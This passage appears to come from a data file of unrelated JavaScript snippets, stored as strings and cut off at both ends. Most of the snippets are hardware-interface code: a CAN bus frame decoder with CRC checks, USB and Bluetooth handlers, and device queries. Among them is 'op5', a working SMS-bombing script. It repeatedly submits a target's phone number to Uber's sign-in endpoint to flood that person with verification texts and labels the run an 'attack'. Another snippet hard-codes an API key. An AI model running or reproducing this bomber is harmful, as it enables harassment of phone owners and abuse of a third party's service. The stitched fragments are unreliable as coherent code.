)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\tb++;\n\t\t\t\t\t\tdb++;\n\t\t\t\t\t}\n\n\t\t\t\t\trb++;\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\t\telse\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\n\t\t\t\t}\n\n\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t{\n\t\t\t\t\tt = trs_go_after(ch,bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\tstate = GET_SOF;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tb -= (data_size * 8);\t// Now interpret those bits as bytes\n\t\t\t\tpkt_data = \"\";\n\n\t\t\t\tfor (i = 0; i < data_size; i++)\n\t\t\t\t{\n\t\t\t\t\tval = 0;\n\n\t\t\t\t\tfor (c = 0; c < 8; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + (i * 8) + c];\n\t\t\t\t\t}\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb) + m, bit_pos[b + (i * 8) + 7] + (0.5 * spb) - m); \t// Add the ID item\n\t\t\t\t\telse\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb_hs) + m_hs, bit_pos[b + (i * 8) + 7] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"DATA: \");\n\t\t\t\t\tdec_item_add_pre_text(\"D: \");\n\t\t\t\t\tdec_item_add_pre_text(\"D \");\n\t\t\t\t\tdec_item_add_data(val);\n\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\n\t\t\t\t\tpkt_data += int_to_str_hex(val) + \" \";\n\t\t\t\t}\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tpkt_add_item(bit_pos[b] - (0.5 * spb), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb), \"DATA\", pkt_data, dark_colors.gray, channel_color);\n\t\t\t\telse\n\t\t\t\t\tpkt_add_item(bit_pos[b] - (0.5 * spb_hs), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb_hs), \"DATA\", pkt_data, dark_colors.gray, channel_color);\n\n\t\t\t\tb += (data_size * 8);\n\t\t\t\tstate = GET_CRC;\n\n\t\t\t\t// TO DO:\n\t\t\t\t// correct all start and end samples\n\t\t\t\t// add packet for CRC, and error frames\n\t\t\t\t// add the packet stop\n\t\t\tbreak;\n\n\t\t\tcase GET_CRC:\n\t\t\t\tvar nbr_stf_b = 0;\n\t\t\t\tdb = 0;\n\t\t\t\tif(edl_mode)\n\t\t\t\t{\n\t\t\t\t\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \t// use High speed since now\n\n\t\t\t\t\twhile (db-nbr_stf_b < crc_len) //read crc bits\n\t\t\t\t\t{\n\t\t\t\t\t\tif (db % 5 ==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_CROSS);\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t\tnbr_stf_b++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t // Regular bit\n\t\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tlast_bit = bits[b];\n\n\t\t\t\t\t\t\tb++;\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trb++;\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\t\tstate = GET_SOF;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tval = 0;\n\t\t\t\t\tb -= crc_len;\n\n\t\t\t\t\tfor (c = 0; c < crc_len; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + c];\n\t\t\t\t\t}\n\n\t\t\t\t\tcrc_rg = 0;\t\t// Now calculate our own crc to compare\n\n\n\t\t\t\t\tfor (c = 1; c < b; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcrc_nxt = bits[c] ^ ((crc_rg >> (crc_len)) & 0x1);\n\t\t\t\t\t\tcrc_rg = crc_rg << 1;\n\n\t\t\t\t\t\tif (crc_nxt == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (crc_len==17)\n\t\t\t\t\t\t\t\tcrc_rg ^= 0x3685B;\n\t\t\t\t\t\t\telse if (crc_len==21)\n\t\t\t\t\t\t\t\tcrc_rg ^= 0x302898;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (crc_len==17)\n\t\t\t\t\t\t\tcrc_rg &= 0x1ffff;\n\t\t\t\t\t\telse if (crc_len==21)\n\t\t\t\t\t\t\tcrc_rg &= 0x1fffff\n\t\t\t\t\t}\n\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + crc_len-1] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"CRC : \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC\");\n\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (val == crc_rg)\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\"\");\n\t\t\t\t\t\tpkt_add_item(-1, -1 ,\"CRC\", int_to_str_hex(val) + \" OK\", dark_colors.yellow, channel_color);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG, Should be: \" + int_to_str_hex(crc_rg));\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG!\");\n\t\t\t\t\t\tdec_item_add_post_text(\"E!\");\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"CRC\", int_to_str_hex(val) + \"(WRONG)\", dark_colors.red, channel_color);\n\n\t\t\t\t\t\tpkt_start(\"CRC ERROR\");\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (captured)\",int_to_str_hex(val), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (calculated)\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_add_post_text(\"!\");\n\t\t\t\t\t}\n\n\t\t\t\t\tb += crc_len-1;\n\t\t\t\t\tbit_pos[b] += spb;\n\t\t\t\t\tstate = GET_ACK;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\twhile (db < 16) //read crc bits\n\t\t\t\t\t{\n\t\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\n\t\t\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t // Regular bit\n\t\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\t\tb++;\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trb++;\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\t\tstate = GET_SOF;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tval = 0;\n\t\t\t\t\tb -= 16;\n\n\t\t\t\t\tfor (c = 0; c < 15; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + c];\n\t\t\t\t\t}\n\n\t\t\t\t\tcrc_rg = 0;\t\t// Now calculate our own crc to compare\n\n\t\t\t\t\tfor (c = 0; c < b; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcrc_nxt = bits[c] ^ ((crc_rg >> 14) & 0x1);\n\t\t\t\t\t\tcrc_rg = crc_rg << 1;\n\n\t\t\t\t\t\tif (crc_nxt == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcrc_rg ^= 0x4599;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tcrc_rg &= 0x7fff;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb) + m, bit_pos[b + 14] + (0.5 * spb) - m); \t// Add the ID item\n\t\t\t\t\telse\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + 14] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"CRC : \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC\");\n\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (val == crc_rg)\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\"\");\n\t\t\t\t\t\tpkt_add_item(-1, -1 ,\"CRC\", int_to_str_hex(val) + \" OK\", dark_colors.yellow, channel_color);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG, Should be: \" + int_to_str_hex(crc_rg));\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG!\");\n\t\t\t\t\t\tdec_item_add_post_text(\"E!\");\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"CRC\", int_to_str_hex(val) + \"(WRONG)\", dark_colors.red, channel_color);\n\n\t\t\t\t\t\tpkt_start(\"CRC ERROR\");\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (captured)\",int_to_str_hex(val), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (calculated)\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_add_post_text(\"!\");\n\t\t\t\t\t}\n\n\t\t\t\t\tb += 15;\n\t\t\t\t\tstate = GET_ACK;\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase GET_ACK: \t// and the EOF too.\n\t\t\t\tbit_pos[b] -= spb;// CRC delimiter\n\t\t\t\tack_chk = bit_sampler_next(ch);\n\t\t\t\tbit_sampler_next(ch); \t// ACK delimiter\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tdec_item_new(ch,bit_pos[b] + (1.5 * spb) + m, bit_pos[b] + (3.5 * spb) - m); \t// Add the ACK item\n\t\t\t\telse\n\t\t\t\t\tdec_item_new(ch,bit_pos[b] + (2.5 * spb_hs) + m, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m); \t// Add the ACK item\n\n\t\t\t\tif(ack_chk == 1)\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"NO ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"NACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"!A\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"A\");\n\t\t\t\t}\n\t\t\t\tpkt_add_item(-1, -1, \"ACK\", ack_chk.toString(10), dark_colors.black, channel_color);\n\t\t\t\teof_chk = 0;\n\t\t\t\tfor (c = 0; c < 7; c++)\n\t\t\t\t{\n\t\t\t\t\teof_chk += bit_sampler_next(ch);\n\t\t\t\t}\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] + (3.5 * spb) + m, bit_pos[b] + (10.5 * spb) - m); \t// Add the EOF item\n\t\t\t\telse\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m, bit_pos[b] + (2.5 * spb_hs) + 9*spb - m); \t// Add the EOF item\n\n\t\t\t\tif (eof_chk == 7)\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"END OF FRAME OK\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF OK\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF\");\n\t\t\t\t\tdec_item_add_pre_text(\"E\");\n\t\t\t\t\tpkt_add_item(-1, -1, \"EOF\", \"\", dark_colors.blue, channel_color);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"END OF FRAME ERR\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF ERR!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!EOF!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!E!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!\");\n\t\t\t\t\tpkt_add_item(-1, -1, \"EOF\",\"MISSING!\", dark_colors.red, channel_color);\n\t\t\t\t}\n\n\t\t\t\tpkt_end();\n\n\t\t\t\tt = trs_go_after(ch, bit_pos[b] + (10.5 * spb));\n\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\tstate = GET_SOF;\n\t\t\t\t//dec_item_new(ch, bit_pos[0] - (0.5 * spb) + m, bit_pos[b] + (0.5 * spb) - m); \t//<=========================DEBUG ALL THE FRAME\n\t\t\tbreak;\n\t\t}\n\t}\n}","function sendCompleted(usbEvent) {\n\tif (chrome.runtime.lastError) {\n\t\tconsole.error(\"sendCompleted Error:\", chrome.runtime.lastError.message);\n\t}\n\n\tif (usbEvent) {\n\t\tif (usbEvent.data) {\n\t\t\tvar buf = new Uint8Array(usbEvent.data);\n\t\t\tconsole.log(\"sendCompleted Buffer:\", usbEvent.data.byteLength, buf);\n\t\t}\n\t\tif (usbEvent.resultCode !== 0) {\n\t\t\tchangeState(state.connected);\n\t\t\terrorln(\"Error writing to device: \" + chrome.runtime.lastError.message);\n\t\t}\n\t}\n}","getPower() {\n console.log('getPower called');\n\n return this.getLampResURI()\n .then(response => {\n return response.power.value;\n });\n }","function getvolume(dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-15';\n webphone_api.plhandler.GetVolume(dev, callback);\n }\n}","function getBzData(uri, method) {\n var dfd = $.Deferred();\n\n // defer get binary\n var request = new XMLHttpRequest();\n request.onload = function () {\n // Process the response\n if (request.status >= 200 && request.status < 300) {\n // If successful\n console.log('request-received');\n\n var bytes = bz2.decompress(new Uint8Array(request.response));\n var jsonObj = JSON.parse(utfDecoder.decode(bytes));\n dfd.resolve(jsonObj);\n } else {\n // If failed\n dfd.reject({\n status: request.status,\n statusText: request.statusText\n });\n }\n }\n request.open('GET', uri, true);\n request.responseType = \"arraybuffer\";\n request.send();\n\n return dfd.promise();\n }","function getHumidity(){\n execFile('./scripts/humidity', ['hum'], (error, stdout, stderr) => {\n if (error) {\n console.error('stderr', stderr);\n throw error;\n }\n console.log('hum: ' + stdout);\n readData.hum = stdout\n })\n}","function onEvent(usbEvent) {\n\tconsole.log(\"onEvent\");\n\tif (usbEvent.resultCode) {\n\t\tif (usbEvent.resultCode == USB_ERROR_TRANSFER_FAILED) {\n\t\t\t// Device is connected but we failed to send data.\n\t\t\tchangeState(state.connected);\n\t\t} else if (usbEvent.resultCode == USB_ERROR_DEVICE_DISCONNECTED) {\n\t\t\tchangeState(state.disconnected);\n\t\t}\n\t\tconsole.log(chrome.runtime.lastError.message + \"(code: \" + usbEvent.resultCode + \") [onEvent]\");\n\t\treturn;\n\t}\n\n\tvar dv = new DataView(usbEvent.data);\n\tvar len = dv.getUint8(0);\n\tvar cmd = dv.getUint8(1);\n\n\tswitch (cmd) {\n\t\tcase CMD_DEBUG:\n\t\t{\n\t\t\tvar msg = \"\";\n\t\t\tfor (var i = 0; i < len; i++) {\n\t\t\t\tmsg += String.fromCharCode(dv.getUint8(i+2));\n\t\t\t}\n\t\t\tmessageln(\"debug: '\" + msg + \"'\");\n\t\t\tbreak;\n\t\t}\n\t\tcase CMD_PING:\n\t\t\tmessageln(\"ping\");\n\t\t\tbreak;\n\t\tcase CMD_VERSION:\n\t\t{\n\t\t\tvar version = \"\" + dv.getUint8(2) + \".\" + dv.getUint8(3);\n\t\t\tmessageln(\"command: Version \" + version);\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\terrorln(\"unknown command\");\n\t\t\tbreak;\n\t}\n\n\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n}","async function enableBloodPressure() {\n const command = hexToBase64(\"55 aa 04 02 01 f8\");\n // console.log(\"TCL: enableBloodPressure -> command\", command)\n const didWrite = await Bluetooth.writeToDevice(command);\n // console.log(\"TCL: enableBloodPressure -> didWrite\", didWrite)\n return didWrite;\n}","_pingDevice () {\n this._ble.read(\n BoostBLE.service,\n BoostBLE.characteristic,\n false\n );\n }","RetrieveBeaconBlock(blockHash = '', verbosity = '1') {}","async function requestBarcodePrinter() {\n console.log(navigator)\n navigator.usb &&\n navigator.usb\n .requestDevice({\n filters: [\n {\n vendorId: 5380,\n // classCode: 0xff, // vendor-specific\n // protocolCode: 0x01,\n },\n ],\n })\n .then(selectedDevice => {\n setBarcodePrinter(selectedDevice)\n })\n .catch(errorInfo => {\n console.log(errorInfo)\n // message.error(i18n.t`Cannot find label printer`)\n })\n }","async GetValueBytes(id, command) {\n var packet = new DpsPacket(id, DpsConstants.sender, command, [0,0,0,0,0,0,0,0]);\n var result = await this.PacketIO(packet);\n if ((result && (result.sender != id || result.command != command)) || result == null) return null;\n else return result.data;\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\n return new Promise((resolve, reject) => {\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\n console.log(\"Sending 'START DFU' command\");\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\n .then( () => this._send_packet_data(image_size_packet) )\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\n //TODO .then( () => this._clear_received_response() )\n });\n }","async function op5(numero, quantidade) {\n\t\n\tvar ubereats = await tools.curl('https://cn-phx2.cfe.uber.com/rt/silk-screen/submit-form', `{\"formContainerAnswer\":{\"formAnswer\":{\"flowType\":\"INITIAL\",\"screenAnswers\":[{\"screenType\":\"PHONE_NUMBER_INITIAL\",\"fieldAnswers\":[{\"fieldType\":\"PHONE_COUNTRY_CODE\",\"phoneCountryCode\":\"55\"},{\"fieldType\":\"PHONE_NUMBER\",\"phoneNumber\":\"${numero}\"},{\"fieldType\":\"THIRD_PARTY_CLIENT_ID\",\"thirdPartyClientID\":\"\"}]}],\"firstPartyClientID\":\"\"}}}`, {\n\t\t'Host': 'cn-phx2.cfe.uber.com',\n\t\t'x-uber-client-name': 'eats',\n\t\t'x-uber-device': 'android',\n\t\t'x-uber-device-language': 'pt_BR',\n\t\t'x-uber-client-version': '1.277.10005',\n\t\t'accept': 'application/json',\n\t\t'content-type': 'application/json; charset=UTF-8',\n\t\t'user-agent': 'okhttp/3.12.0-uber2'\n\t\t}, 'POST').then((res) => {\n\t\t\tif (res.body.match(/SIGN_IN/i)) {\n\t\t\t\t\n\t\t\t\tif (spam.enviados == 0) {\n\t\t\t\t\tb1.start(quantidade, 0, {\n\t\t\t\t\t\tenviados: spam.enviados\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tspam.enviados++\n\t\t\t\tspam.status = 1\n\t\t\t\tb1.update(spam.enviados, {\n\t\t\t\t\tenviados: spam.enviados\n\t\t\t\t});\n\t\t\t\t// console.log('Sucesso » [ Numero: %s, Enviados: %s, Retorno: SMS enviado com sucesso. ] #ServerMP'.success, numero, spam.enviados);\n\t\t\t} else if (res.body.match(/SMS_OTP_TOO_MANY_REQUESTS/i)) {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Excesso de tentativas, tente novamente em breve. ] #ServerMP'.error));\n\t\t\t} else if (res.body.match(/BANNED/)) {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Numero inserido está com conta desativada. ] #ServerMP'.error));\n\t\t\t} else {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Ocorreu um error desconhecido. ] #ServerMP'.error));\n\t\t\t}\n\t});\n\t\n\t// Verificar se o spam ja foi finalizado.\n\tif (quantidade == spam.enviados) {\n\t\tb1.start(quantidade, quantidade, {\n\t\t\tenviados: spam.enviados\n\t\t});\n\t\tprocess.exit(console.log('\\n\\nAtaque finalizado! #ServerMP'.help));\n\t} else {\n\t\top5(numero, quantidade);\n\t}\n\t\n}","async function writepumpdurationtoBLE(num){\n console.log('Attempting bluetooth write')\n var arrInt8 = toBytesInt16(num)\n ble.twrite_pumpduration=performance.now()\n try{\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\n console.log(textstr)\n ble.statustext = textstr\n // \n //wdm(textstr)\n }\n catch(error) {\n var textstr = 'Could not write pump duration to ble device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n }\n}","function cerial() {\n getPortInfo()\n .then( (portDetails) => handleSensor(portDetails))\n .catch((error) => console.log(error));\n // port.write('ROBOT PLEASE RESPOND\\n');\n // The parser will emit any string response\n}","function get24HBTCData() {\r\n\tvar result;\r\n\tvar request = new XMLHttpRequest();\r\n\trequest.open('GET',\r\n\t\t'https://min-api.cryptocompare.com/data/v2/histohour?fsym=BTC&tsym=USD&limit=24&api_key=45419ed9fb65b31861ccb009765d97bb619e9eccedc722044457d066cbfb0a8b', false)\r\n\trequest.send(null);\r\n\tresult = JSON.parse(request.responseText);\r\n\treturn result;\r\n}","function getHSDevices(filter,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action=getdevices&filter='+filter+'&verbose=yes',\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n });\n}","function Bus_Phase(decoder_items) // 65001-65006\n{\n var str = \"\";\n switch (data_nb)\n {\n case 0 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 1 :\n {\n multi_byte_value += (hex_value<<8);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, 